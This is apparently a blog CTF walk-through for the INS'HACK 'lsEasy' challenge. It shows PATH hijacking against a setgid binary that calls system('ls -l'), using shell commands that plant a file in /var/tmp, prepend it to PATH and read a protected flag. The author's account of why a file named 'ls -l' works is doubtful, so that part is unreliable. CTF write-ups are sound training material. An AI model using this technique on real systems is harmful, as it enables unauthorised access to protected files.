INS’HACK – lsEasy – PWN 75

I gave a try to one of the CTF events happening over the weekend – INS’HACK. This is a walk-through for one of the challenges. The challenge was pretty straight forward as I was aware of the technique to be used here, but there was small issue to sort out.

Challenge
My shower won't give me warm water :/ maybe it's an hacker? :o Could you help me?
ssh <you_ssh_user>@pwn1.ctf.insecurity-insa.fr

I logged in with the credentials provided and found the below files in the directory.

user380@InSHackNoASLR:~$ ls -l
total 16
-r--r----- 1 root level1ok 23 Mar 21 20:20 flag
-rwxr-sr-x 1 root level1ok 7337 Mar 23 20:22 vuln
-r--r--r-- 1 root root 108 Mar 23 20:20 vuln.c
user380@InSHackNoASLR:~$cat vuln.c 
#include <stdio.h>
void main()
{
 printf("The content of the current folder is : \n");
 system("ls -l");
}
user380@InSHackNoASLR:~$ ./vuln 
The content of the current folder is : 
total 16
-r--r----- 1 root level1ok 23 Mar 21 20:20 flag
-rwxr-sr-x 1 root level1ok 7337 Mar 23 20:22 vuln
-r--r--r-- 1 root root 108 Mar 23 20:20 vuln.c
user380@InSHackNoASLR:~$

We see SUID bit set on the vuln binary file and the corresponding C program. Since vuln binary and the flag was readable by the same group, we would be using the binary to read the file flag to which we do not have read permissions as current user.
Although the challenge files were provided as a zip file they were not of interest as the fun was on the server.
From the C program it was clear that the system() function call was used to display the contents of the current directory using ls -l. Since the path to the ls is not hard coded we could create a binary file with the name “ls -l” and use the environment variable PATH to point to it.

I assumed that the I would have the write permission in my current directory but it  was not to be so :/

user380@InSHackNoASLR:~$ touch "ls -l"
touch: cannot touch ‘ls -l’: Permission denied

But hey, we have the tmp directory, who cares about CWD 😉 But again it felt it was not to be so. Damn!

user380@InSHackNoASLR:~$ touch /tmp/a
touch: setting times of ‘/tmp/a’: Permission denied
user380@InSHackNoASLR:~$ ls -l /tmp/
ls: cannot open directory /tmp/: Permission denied

I quickly checked the permissions for tmp directory.

user380@InSHackNoASLR:~$ ls -l /
total 92
drwxr-xr-x   2 root root  4096 Mar 24 15:49 bin
------snip-----------------------
dr-xr-xr-x 13 root root 0 Apr 6 22:57 sys
drwx-wx-wt 292 root root 12288 Apr 9 13:08 tmp
drwxr-xr-x 10 root root 4096 Dec 27 04:25 usr
drwxr-xr-x 12 root root 4096 Dec 27 04:33 var
lrwxrwxrwx 1 root root 29 Apr 6 22:29 vmlinuz -> boot/vmlinuz-4.4.0-72-generic
lrwxrwxrwx 1 root root 29 Dec 27 04:27 vmlinuz.old -> boot/vmlinuz-4.4.0-31-generic

We did not have the read permission on the directory and a sticky bit was set on it and hence the above errors. But we do have write permissions which is all we need :). I did confirm that with a bit of googling. But why did the touch fail? It had to… the file was already present. That is what the sticky bit is meant to prevent – editing, deleting of files created by other users. Although it turns out “a” was directory. Below is the hint.

user380@InSHackNoASLR:/tmp$ echo "a" > a
-bash: a: Is a directory

I also assumed that some one must have already created the “ls -l” file as well than and I was correct about it.

user380@InSHackNoASLR:/tmp$ echo "aa" > "ls -l"
-bash: ls -l: Permission denied
user380@InSHackNoASLR:/tmp$ cat "ls -l"
cat /challenge/level1/flag

I quickly moved on to edit the ENV variable to point to tmp first. I executed the binary and to my surprise it launched the nano editor for me instead of reading the flag.

user380@InSHackNoASLR:/tmp$ export PATH=/tmp:$PATH
user380@InSHackNoASLR:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
user380@InSHackNoASLR:/tmp$ 
user380@InSHackNoASLR:~$ ./vuln 
The content of the current folder is :

I tried a couple of times again but with same results. Then I looked if /bin/cat was symlinked to nano, but it wasn’t. Than I realized that its possible that someone must have created the cat binary as well in the tmp directory and forgot to delete it? or left it as it is purposely? or challenge creators did it deliberately as another hurdle. The situation was as below.

user380@InSHackNoASLR:~$ cat /tmp/cat
#!/bin/sh
cat flag

Either ways we were not able to use the tmp directory. So which one is left? Off course /var/tmp. I quickly created the ls -l binary and prepended the /var/tmp  to the PATH variable. Executed the binary and now I had the flag 🙂

user380@InSHackNoASLR:/var/tmp$ echo "cat /challenge/level1/flag" > "ls -l"
user380@InSHackNoASLR:/var/tmp$ cat "ls -l"
cat /challenge/level1/flag
user380@InSHackNoASLR:/var/tmp$ export PATH=/var/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
user380@InSHackNoASLR:/var/tmp$ cd 
user380@InSHackNoASLR:~$ ./vuln 
The content of the current folder is : 
The content of the current folder is : 
INSA{SySt3m_1s_3v1l_-}
user380@InSHackNoASLR:~$
Advertisements